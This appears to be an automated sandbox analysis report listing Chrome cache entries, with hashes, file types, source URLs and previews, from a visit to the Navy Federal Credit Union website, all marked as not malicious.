SHA-256:	BB5702A45F47DD0ADC94AD54B0FEEC92058F1B3D19240E6DDC9DE4C4B540E966
SHA-512:	32593B82D763C8FAE921A57A01556C12435E6523351B685FCDF37DD5A663840D3EFF4E1E87C753276F10998EFE36D1553A8E70A230D933AA9457E7AC75A5C8D3
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfo/clientlibs/uife/clientlib-uife-basePage.lc-d3b7d2ed744d4e5f1a4bf3bf33fb5186-lc.min.css
Preview:	/. Copyright 2017 Adobe. . Licensed under the Apache License, Version 2.0 (the "License");. * you may not use this file except in compliance with the License.. * You may obtain a copy of the License at. . http://www.apache.org/licenses/LICENSE-2.0. . Unless required by applicable law or agreed to in writing, software. * distributed under the License is distributed on an "AS IS" BASIS,. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. * See the License for the specific language governing permissions and. * limitations under the License.. /./* @define image /..cmp-image__image {. width: 100%;.}.../. * Copyright 2017 Adobe. . Licensed under the Apache License, Version 2.0 (the "License");. * you may not use this file except in compliance with the License.. * You may obtain a copy of the License at. . http://www.apache.org/licenses/LICENSE-2.0. . Unless required by applicable law or agreed to in writing, software.

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	downloaded
Size (bytes):	1150
Entropy (8bit):	3.3436579330312064
Encrypted:	false
SSDEEP:	24:kGGYEh4MlFPvVTboTPp5TDTj6lbosRD+G02jS5/lb4GhSbTTp5TTZZAfvh3c3Vbk:OBhH3hoPp5TDTj6lXM35/lUbTTp5TTZ2
MD5:	69B045D3CAD30A137A1EB0ECFC471224
SHA1:	BEC1B04AD2F3C2C8237277E3015AFD97BEABBA84
SHA-256:	3ADC614ACAA6918CFB31A80D3589231C0D38FBA7401E05D6F7302C4054AAACE0
SHA-512:	2DCFFB3190649B40E4A124C616D21CAB4286058488878EE77D4D6DA5BB2092420A830708C63B17C67657C4DD22F16795233175DB69953FE772AEF1D05C27AA40
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfculibs/clientlibs/uife/clientlib-uife-nfculibs-site/resources/images/favicon.ico
Preview:	............ .h.......(....... ..... .....@....................................`#P.`#..`#.`#..`#.`#.`#..`#@.........................`#..`#..`#..`#.`#.`#..`#..`#.`#..`#..`#..`#..............`#..`#..`#..`#`.`#.`#@.`#..`#p.`#@.`#.`#p.`#..`#..`#..........`#..`#.`#..`#@.`#......`#..`#@.....`#..`#0.`#..`#.`#......`#`.`#.`#.`#.`#.`#.`#..`#.`#.`#..`#.`#.`#.`#.`#.`#@.`#..`#`.`#......`#..`# .....`#..`#@.....`# .`#......`#..`#`.`#..`#.`#..`#P.....`#..........`#..`#@.........`#......`#`.`#..`#.`#.`#..`#p.`#@.`#.`#@.`#@.`#..`#p.`#@.`#@.`#.`#@.`#p.`#..`#.`#.`#..`#..`#..`#.`#..`#..`#..`#..`#..`#..`#.`#..`#..`#..`#.`#.`#..`#P.....`#..........`#..`#@.........`#......`#P.`#..`#.`#..`#`.`#......`#..`# .....`#..`#@.....`# .`#......`#..`#`.`#..`#`.`#.`#.`#..`#.`#.`#..`#.`#.`#..`#.`#.`#..`#.`#.`#`.....`#..`#..`#..`#@.`#......`#..`#@.....`#..`#@.`#..`#.`#..........`#..`#.`#..`#P.`#.`#@.`#..`#p.`#@.`#.`#P.`#..`#.`#..............`#..`#..`#..`#.`#.`#..`#..`#.`

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.2226627197680635
Encrypted:	false
SSDEEP:	3:CUzRtwv+L1pse:1/se
MD5:	F837AA60B6FE83458F790DB60D529FC9
SHA1:	14AF87CCEC7F81BB28D53C84DA2FD5A9D5925CDA
SHA-256:	DCECAB1355B5C2B9ECEF281322BF265AC5840B4688748586E9632B473A5FE56B
SHA-512:	A85E09C3B5DBB560F4E03BA880047DBC8B4999A64C1F54FBFBCA17EE0BCBED3BC6708D699190B56668E464A59358D6B534C3963A1329BA01DB21075EF5BEDACE
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	M3U playlist, ASCII text, with very long lines (377)
Category:	downloaded
Size (bytes):	2084
Entropy (8bit):	5.092965100275103
Encrypted:	false
SSDEEP:	48:OfvKvFamBKviamBKv3amBKvUamBKvZam9:Of+KJY/H
MD5:	AC6E71919789B2CB49CC445EDD92F655
SHA1:	CC280B615233B02F21F099E4C1229218D188512B
SHA-256:	7214A5EE69800A447C35E5CC8D92DD1AA3CE817C638C45CDAD0F996AF285BCA4
SHA-512:	EDDC6C70F96329575048053D8F06DAF897B90DDFBA820C8E658E0146F02949FCC9C9156FF4AD426037795BE3D1684E14D0111219B2F0C6AB0ACD88C0996F7E1F
Malicious:	false
Reputation:	low
URL:	https://manifest.prod.boltdns.net/manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/6a2e0f3d-ffdb-47b0-b02d-aebc28e41488/10s/rendition.m3u8?fastly_token=NjY1MTRmNDlfZGRkMGU3YjQ3NzNmNjIxNzg5NTU2MzY5ZTdkMDEzOThmNWE4NDIyMmU4ZTBiOGUyZjY4N2QyNThlMzczMGY3Ng%3D%3D
Preview:	#EXTM3U.#EXT-X-VERSION:3.#EXT-X-PLAYLIST-TYPE:VOD.#EXT-X-MEDIA-SEQUENCE:0.#EXT-X-TARGETDURATION:10.#EXTINF:10.000,.https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/6a2e0f3d-ffdb-47b0-b02d-aebc28e41488/1x/segment0.ts?akamai_token=exp=1716605376~acl=/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/6a2e0f3d-ffdb-47b0-b02d-aebc28e41488/~hmac=25251894bdb7ca96eaf51490df9c40613b3c8efb0a23cd1173ec59dbe28eb623.#EXTINF:10.000,.https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/6a2e0f3d-ffdb-47b0-b02d-aebc28e41488/1x/segment1.ts?akamai_token=exp=1716605376~acl=/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/6a2e0f3d-ffdb-47b0-b02d-aebc28e41488/~hmac=25251894bdb7ca96eaf51490df9c40613b3c8efb0a23cd1173ec59dbe28eb623.#EXTINF:10.000,.https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1600x1067, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	88222
Entropy (8bit):	7.998367580012559
Encrypted:	true
SSDEEP:	1536:1gddd51tCic2D0u1PHfrCr7zqB1jL8mlS7y7DCjHux0LdGJZ3uZ++uATZ:1gddd51tHD7lHfmr7zqDQg7ejkcdkdA1
MD5:	A5591236DD97CCD5B5DBAE5F8CADBD7E
SHA1:	557C91AA33ADC566EBED6473C60DB9B40F739CBE
SHA-256:	6A4085595FB141EC12F00C3155A28078171D20A3A056CC04A8993D98E0309565
SHA-512:	93FB6EC4EA53D6FB9CC9A131C01650219E04503FA9105EFCA8411E9FCC9A967FFC28352EEC377649F6372A6573F324F1EB1F3B85361717241ACBBBEBFF87A931
Malicious:	false
Reputation:	low
Preview:	RIFF.X..WEBPVP8 .X...2...@.+.>.D.K....".....gn..l.N.%....f\|.Y.{.g2......`............W...\|\.a.C......}......]......F.+......(.5.......3....5?....7..Z.x.../I._...M...'........+.oZ..@..N...!.a\|x..9l.5p.~=..u.QQ.1..V~;i1....z$....H..(......L..p......0.#..m....7...z.......K..t.#..H.t...)1....rDa....\./.6... .t.&.%.b.oI.C.9....).T.>.g..54.M..v...Z9g...$.G....x.2....DM...Z.izj..n.[...u..n.[...u+....,A..!E....e!.{\|B.q......)...`u@.7....\'t>.....l#./..e@.#M.e..$..7{..... .2.D...JA8. ..S'..\|.1 ...v.m=b&.4bH..}.h'..v&+....8I8.."4...h..1........E.......`\..~.6..o.m./.G...:5.0.tdK..".........[.`p...N8....-9z=.S...]..Y#o.k..g..!.Z.DbuZ5............Z...)..:..'......\....B...j.wt/..!\|_.BXU.c...c.6 ...8.L\|-..6..$.:.u..A...mgP.f...%..d.p.W...N...1.?nh.H{.%m.z`.!..E.......\|.EL...J.e....$0.cj......c..q.Lv..<.&}.....Z^..@....G...A,(.4.5....p..z....5qe..-.i..p..r...;i.......`[.WJ..@.$+O.f.Cu.V.^...D...\fQ{b.[cv....,f@O.S...y.X.....XH..e..G...Pn.\~..y.C

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.2226627197680635
Encrypted:	false
SSDEEP:	3:CUzRtwv+L1pse:1/se
MD5:	F837AA60B6FE83458F790DB60D529FC9
SHA1:	14AF87CCEC7F81BB28D53C84DA2FD5A9D5925CDA
SHA-256:	DCECAB1355B5C2B9ECEF281322BF265AC5840B4688748586E9632B473A5FE56B
SHA-512:	A85E09C3B5DBB560F4E03BA880047DBC8B4999A64C1F54FBFBCA17EE0BCBED3BC6708D699190B56668E464A59358D6B534C3963A1329BA01DB21075EF5BEDACE
Malicious:	false
Reputation:	low
URL:	https://sync.rfp.fout.jp/map?dsp_id=12&uid=bJBYJggHRl-8eMKZ1raaLQ
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	860
Entropy (8bit):	5.228654592392623
Encrypted:	false
SSDEEP:	12:tvG1YjDz4+6nGqlEOlFXyUcnjh8FhvEVP1rUivGJ1ePWGjPtKFUZm+Di:tu1Mz4nprFfOBh1rRveivtK6Z6
MD5:	71BB25DAAC86B18C69718EB5774613A2
SHA1:	0C7A9DE7764476A88446B91DC71A197EA0D392F6
SHA-256:	790848B0B39FA15BA150FEC7BBECCB2D7CCB4D894E3527747C44E6871D793FBF
SHA-512:	634C86B78386AE5BC0A4D1F4EF6C47BE7E9A05100E90215C3E7D7C36FDC56977C611280AE04162DD0A4AA12C6845D6210F548355FCCC32CAEBDF6BEE13035D22
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/content/dam/icons/single-tone/blue/global-rates-bar-creditcards.svg
Preview:	<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 216 216"><defs><style>.cls-1{fill:#1e69b3;}</style></defs><title>39337 (9-20) - DC_Global Rates Bar SVG Icons (9-20)</title><path class="cls-1" d="M108,7A101,101,0,1,1,7,108,101.12,101.12,0,0,1,108,7m0-7A108,108,0,1,0,216,108,108,108,0,0,0,108,0Z"/><g id="credit-card"><g id="Group_7674" data-name="Group 7674"><g id="Group_7673" data-name="Group 7673"><path id="Path_4043" data-name="Path 4043" class="cls-1" d="M174.78,69.09A5.87,5.87,0,0,0,169,63.21H46.89A5.81,5.81,0,0,0,41.12,69v6.12H174.78Z"/><path class="cls-1" d="M41.12,85.11v62.8a5.68,5.68,0,0,0,5.77,4.87H169.11a5.68,5.68,0,0,0,5.77-4.87V85.11ZM53.56,96.85H84.91v5.08H53.56ZM72.3,138.51a3,3,0,0,1-3,3H56.54a3,3,0,0,1-3-3v-8.2a3,3,0,0,1,3-3H69.33a3,3,0,0,1,3,3Zm89.81-26.74H53.56V106.7H162.11Z"/></g></g></g></svg>

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (846)
Category:	downloaded
Size (bytes):	2611
Entropy (8bit):	5.717442893000541
Encrypted:	false
SSDEEP:	48:NOjMEGr/rZLMLOBzwUn5rZKDBi7e7ppzcLbJwM7Jt9eyey3w:UIrUup2ptcZdtQyrw
MD5:	3AD48E7252764E2BE1B9EC1414851385
SHA1:	F653426F2E913EE27FA950EAF2A0B2483478304E
SHA-256:	38AD6C041BE08786DC185D47724DC9BB71D1EAA139AFC5EC651BA1A0E2B7AFCB
SHA-512:	C52B690A02B1973CD16A5977424D8B026A28CAC3579614ECCBFCAFE21892EA0BD3A5C6DA350C62C33FD8DB4BBD953C558242AF1A489C1B48DE61347353C17310
Malicious:	false
Reputation:	low
URL:	https://9749892.fls.doubleclick.net/activityi;dc_pre=CPmT-vKup4YDFd50QQIdxWULrA;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=843276876;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F?
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent"><img src=https://b.videoamp.com/d2/bf474ba2-6d98-11ec-9997-2d0ad9c70a7f/2873/impression?dnt=false&vpxid=2873&bwb=35&us_privacy={{US_PRIVACY_STRING}} width="1" height="1" style="display:none;" /><img src="https://trkn.us/pixel/conv/ppt=17946;g=sitewide_visits;gid=40999;ord=1699106905 height="0" width="0" border="0"/><script type="text/javascript" src="https://c.tvpixel.com/js/current/dpm_pixel_min.js?aid=navy-federal-credit-union-ab4e3950-2e70-405c-b377-dcb1b8bfbe47"></script><img height="1" width="1" style="border-style:none;" alt="" src="https://insight.adsrvr.org/track/pxl/?adv=pcl8biy&ct=0:3qygypv&fmt=3"/> Code for Action: NFCU_Homepage Site Pixel -->. Code for Pixel: NFCU_Homepage Site Pixel -->. Begin DSP Conversion Action Tracking Code Version 9 -->.<script type='text/javascript'>.(function(

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.687144312913345
Encrypted:	false
SSDEEP:	3:CU9yltxlEun:Vu
MD5:	00657DD79637A8DAF5E6196CA17F1887
SHA1:	3E064855D1FE7C6EAC52981A646EC5840BA7EFB5
SHA-256:	F0C71E3DA5B3FCAB3C66AF1CF0CDBF262C97B9330B7B37116F1AE2AB18BDC660
SHA-512:	27524EAAD778B2C220D655BAE2AC4A6C4CF54112FAF9133E34A4C25C3CD2A8A04CB7CEC35A09F80D4F51DFC73B1F94C63BBC92171220FE83F6F0BDB204645485
Malicious:	false
Reputation:	low
URL:	https://collector-11598.tvsquared.com/tv2track.php?action_name=Navy%20Federal%20Credit%20Union%20%7C%20Banking%2C%20Loans%2C%20Mortgages%20%26%20Credit%20Cards%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=270625&h=18&m=45&s=58&url=https%3A%2F%2Fwww.navyfederal.org%2F&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=578
Preview:	GIF89a.............!.......,...........(.;

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3686
Entropy (8bit):	5.262739993256352
Encrypted:	false
SSDEEP:	48:cBUA8f3iH6fIJ+HUw9cYtGwgkRw7QyJhjfxJfFsuBxbkdOHCbaYEEgr:88fy63HUwqYtGwiJRpZFsufbODan3
MD5:	AD24CF1BC3BC1DE079051197869F89DC
SHA1:	7C04BD481272F99E5F934E4D58439819637C5EA2
SHA-256:	4D7F4F335C40351C057A455DFDF12BDB12A4FBFB04CBB7BFFEACC32E612B585C
SHA-512:	198686A7674BB72F5FD6A12B981762A002BF0F407DC23A3B0BBED681B1C51BE56DAF485D44B27050C6A37BDEBFF1A21BCF1CB4A1CCEA183B3BAB628A7BAA7FD0
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/content/nfcu/active-duty-checking?ts=1713885034586&dpr=off
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 28.2.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 160 160" style="enable-background:new 0 0 160 160;" xml:space="preserve">.<style type="text/css">...st0{fill:#ED780F;}...st1{fill:#FFAA5F;}...st2{fill:#004785;}...st3{fill:#003366;}...st4{display:none;}...st5{display:inline;fill:#FFFFFF;}...st6{display:inline;}...st7{fill:#FFFFFF;}...st8{fill:#7AB4E2;}...st9{fill:#1B68B2;}...st10{fill:#CFE6FA;}...st11{fill:#E8F4FD;}...st12{fill:#0F3D70;}.</style>.<g id="Layer_1_copy">..<g>...<circle class="st0" cx="80" cy="80" r="80"/>...<path class="st1" d="M80,0v160c44.2,0,80-35.8,80-80S124.2,0,80,0z"/>...<circle class="st2" cx="80" cy="80" r="67.9"/>...<path class="st3" d="M80,12.1v136c37.5,0,67.9-30.4,67.9-67.9C147.9,42.5,117.5,12.1,80,12.1z"/>...<g class="st4">....<path class="st5" d="M78.5

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3
Entropy (8bit):	1.584962500721156
Encrypted:	false
SSDEEP:	3:P:P
MD5:	8A80554C91D9FCA8ACB82F023DE02F11
SHA1:	5F36B2EA290645EE34D943220A14B54EE5EA5BE5
SHA-256:	CA3D163BAB055381827226140568F3BEF7EAAC187CEBD76878E0B63E9E442356
SHA-512:	CA4B6DEFB8ADCC010050BC8B1BB8F8092C4928B8A0FBA32146ABCFB256E4D91672F88CA2CDF6210E754E5B8AC5E23FB023806CCD749AC8B701F79A691F03C87A
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/api/mapsjs/gen_204?csp_test=true
Preview:	{}.

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:o:o
MD5:	E7CBF67460E47DEA4B13E81304850D5F
SHA1:	44EA86BE67060D7A28C805C564767E8B86AED724
SHA-256:	8A2A554F422BD182EF4E7A91E206E3A88A4F1C15EB6EC1A77E890675A924BDC5
SHA-512:	00CC7D2DF32A9FEDDBDD45FD41A10296B4779129C66765EEA56FC9402580B3CE94B8A11F6114317EC970B772CD0FD135B25D60FA4809D3DFCBF7BD89014C5470
Malicious:	false
Reputation:	low
Preview:	<3

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	16358
Entropy (8bit):	7.960390582353221
Encrypted:	false
SSDEEP:	384:ImRso5GDAgPNj2ZGTlbJKaSfBVU45R3x6Pyqd6dO18RG+neP:ItEg52X5hL3A7gkUeP
MD5:	EE67677BF2BB7423A3B19B31A677A1E8
SHA1:	EE815514BA8CD4BDD6970C969D4440EC0E560472
SHA-256:	61A3DE54A1BDD0E4F33EE1C31120C851725B1C0FBE75FA362946E96BF3F69B93
SHA-512:	F706DFA24B0E16FB3649BB207A0C3B8DA44A5BDF122EF7E740F8A71E1F702C188A3BA68DFB51C7A28628550EC3BAFA8BB674EB11A364923F302B3695570D1004
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/vt?pb=!1m5!1m4!1i4!2i3!3i4!4i256!2m3!1e0!2sm!3i693439497!3m12!2sen-US!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0&key=AIzaSyCaiC9fbTVZTWG9-By5zs-kXbpzS-PfSWU&token=7595
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE.........................................................................................................v{}..._ch..........LQQ...............'(\U.7..>.IDATx...............s......T...`c..s.5.1..S....S4..t:./....m.v,...c...W...q<.....v,...}#..0.{.iuj[..y.eY&...K...(:..?.....t.i.@.8..t.~.....C...]9.d`v"....T......n%F..Z.z...;x.._....yww....n.o.....:m.....q..k...n.?..7....n.\XP.\|.?]u.....5.<...U....k.............Y.o.>nk....b....w......,....n.W&~......b.....33..Q~8...u..........#Z.N_".wZ6..j..>j..H.....ug. f.."u...%.f\.M1].J.....Ef\|.Un.`.W.........N...X...j.....-Nt...nO.,v"X.].t....w..=5.[4...H.t.'...W.]....:-...j.hr.....x.....;G....i...S\|............;...,2jR.......;..^..'.VgK..h.<.m.....u.>.H..2Ap..vz.w5..M.....$.GR.[.G.......(D..=....l._..x/..\.#.&a..rV..$.%IX4Z.B.].Jz3u.`.q....Q[.Z.........}...=.V/.J....].......d.V.?j$.m+j....G.#....Q.......s.5A9...:"

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (32192)
Category:	downloaded
Size (bytes):	48087
Entropy (8bit):	5.397500196526744
Encrypted:	false
SSDEEP:	768:cMlpUopUoYlUdENE9i6czcwEo3b9D14eztLZeiDP9bmQBniSOp0F5A9uDfLGi:HlSlhHE9iSwlx2CisFTmi
MD5:	E098D3D727AAF27BF2DA4B85E6AD4919
SHA1:	1C1A2A092FA5DA90C5C1CA05EEC61802119BD0A1
SHA-256:	5FE8ED46E6AC315B1699243472009B67DEDE2CD1E184CF408D6103722017C739
SHA-512:	05A40A5D52BCCE18000FF897AA49B727285D9D2342C0E29F8D7500DF4F5FA9A38607E959CC3704EE726C66BF5B56E7583C164CAAC9220B12CAC10E335AD3A123
Malicious:	false
Reputation:	low
URL:	https://liveengage.navyfederal.org/le_secure_storage/3.27.1-release_1249614302/storage.secure.min.html?loc=https%3A%2F%2Fwww.navyfederal.org&site=11478817&env=prod&isCrossDomain=true&accdn=accdn.lpsnmedia.net
Preview:	<!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml" lang="en"><head><meta http-equiv="X-UA-Compatible" content="IE=100"><script type="text/javascript">window.lpTag=window.lpTag\|\|{},window.lpTag.lzString=window.lpTag.lzString\|\|function(){function e(e,t){if(!o[e]){o[e]={};for(var n=0;n<e.length;n++)o[e][e.charAt(n)]=n}return o[e][t]}var t=String.fromCharCode,n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",r="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-$",o={},a={compressToBase64:function(e){if(null==e)return"";var t=a._compress(e,6,function(e){return n.charAt(e)});switch(t.length%4){default:case 0:return t;case 1:return t+"===";case 2:return t+"==";case 3:return t+"="}},decompressFromBase64:function(t){return null==t?"":""==t?null:a._decompress(t.length,32,function(r){return e(n,t.charAt(r))})},compressToUTF16:function(e){return null==e?"":a._compress(e,15,function(e){return t(e+32)})+" "},decompressFromUTF16:function(e){return null==e?"":"

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (34489)
Category:	downloaded
Size (bytes):	34556
Entropy (8bit):	5.386412989028423
Encrypted:	false
SSDEEP:	768:uk10qekTJ0UilGA72GJWwW9+ILOtLcHtYmhe/vvuQTduYeqtZyngaJGtQQ4:6q0kZLMoHtYwe/vvxduYeqtZynNQk
MD5:	DB486550FB418AFA1692F200173A70CA
SHA1:	012ADCF5215FC29714DC0788A7D0A58C573FAE5A
SHA-256:	2B62D368CB454F4AAE7D04FC5BDA4EE3F913D2ACD94DAC02854B14013FAE6D33
SHA-512:	108A0E32C9A09150A2AC0C5E9011F2E52A8A96FEF99D26FD71FA0D5DE60878E149A6B40F430120951C88E856D92BAE25C0256C3C02BAFA288AA080C7326ACC2F
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfo/clientlibs/uife/clientlib-uife-fullWidth.lc-db486550fb418afa1692f200173a70ca-lc.min.js
Preview:	/! For license information please see fullWidth.js.LICENSE.txt /.(()=>{var e,t,o,n={9652:(e,t,o)=>{"use strict";function n({onVisible:e,selector:t,options:o}){const n=document.querySelector(t);if(null===n)return;const i=new IntersectionObserver((t=>{t.forEach((t=>{t.isIntersecting&&(e(),i.unobserve(t.target))}))}),o\|\|{rootMargin:"200px"});i.observe(n)}o.d(t,{e:()=>n})},2001:(e,t,o)=>{"use strict";function n(e,t){let o;return function(){const n=this,i=arguments;clearTimeout(o),o=setTimeout((()=>e.apply(n,i)),t)}}o.d(t,{D:()=>n})},5707:(e,t,o)=>{"use strict";function n(){const e=document.querySelector(".page-nav"),t=document.querySelector(".global-nav");let o=0;return window.innerWidth<780?e&&e.classList.contains("page-nav_fixed")?(o+=e.offsetHeight+t.offsetHeight,o):e?(o+=t.offsetHeight+2e.offsetHeight,o):(o+=t.offsetHeight,o):e&&e.classList.contains("page-nav_fixed")?(o+=e.offsetHeight,o):e?(o+=2e.offsetHeight,o):o}o.d(t,{Y:()=>n})},2312:(e,t,o)=>{"use strict";o.d(t,{k:()=>i});var

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (909), with no line terminators
Category:	downloaded
Size (bytes):	909
Entropy (8bit):	5.552063492629064
Encrypted:	false
SSDEEP:	24:hMiRO9R5KtbJF5KtAX7JjRuTp8l0JMQgd8:NOubJwM7Jjw+y368
MD5:	AEE8B0B9A65F9D7687E81CEC50047292
SHA1:	FD17039CB72EB447365F999D473E97F9AFB3BBED
SHA-256:	9398E95D95A8D388043A2B230EC40DC584311F58DA7E66295CB20741DFF404D2
SHA-512:	E2C51EBD143B2C777730A1921A25C2C00F868F82544317B6B74623F04D197AE7005467BEF1F0900CBB6E877585E30DEDEF50839ECEFDCE928CBC9CB4D9321057
Malicious:	false
Reputation:	low
URL:	https://9749892.fls.doubleclick.net/activityi;dc_pre=CP-8mvyup4YDFeYkBgAdUEEHCg;src=9749892;type=gener0;cat=branc0;ord=3068759456016;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1864446130;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html?
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent"><img height="1" width="1" style="display:none;" alt="" src="https://ct.pinterest.com/v3/?tid=2617254381486&noscript=1" /><img height="1" width="1" style="display:none;" alt="" src="https://ct.pinterest.com/v3/?event=PageView&tid=2617254381486&noscript=1" /><img src="https://adservice.google.com/ddm/fls/z/dc_pre=CP-8mvyup4YDFeYkBgAdUEEHCg;src=9749892;type=gener0;cat=branc0;ord=3068759456016;npa=0;auiddc=*;ps=1;pcor=1864446130;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html"/></body></html>

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1024x706, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	21186
Entropy (8bit):	7.990063853417796
Encrypted:	true
SSDEEP:	384:H4n3ti7xf5G/2oGdfRWhNQ8tekgvpixBclspAlSx6y+bXZNoeLk5+B:HF7xBloas7QkgxizGspAwOlNoF+B
MD5:	1793B9B9273F06008967FF2117D47F7C
SHA1:	BC1F0EC0A6D6DBA4120E82FF6CB3EF71661A7FE1
SHA-256:	76EA64150D297B330F31F2F652111E86EAE46F3CCFEFD6B95968CD06300E6D48
SHA-512:	7EA9E55DEC2CB572D773C5F5222679E17383E396B6C0F88C6C65C60986F49DFC80DDF7DB85495CA0F07E17D0EB2CF2B7C7312F5CDDDC0A5EB3FA960F4D08320F
Malicious:	false
Reputation:	low
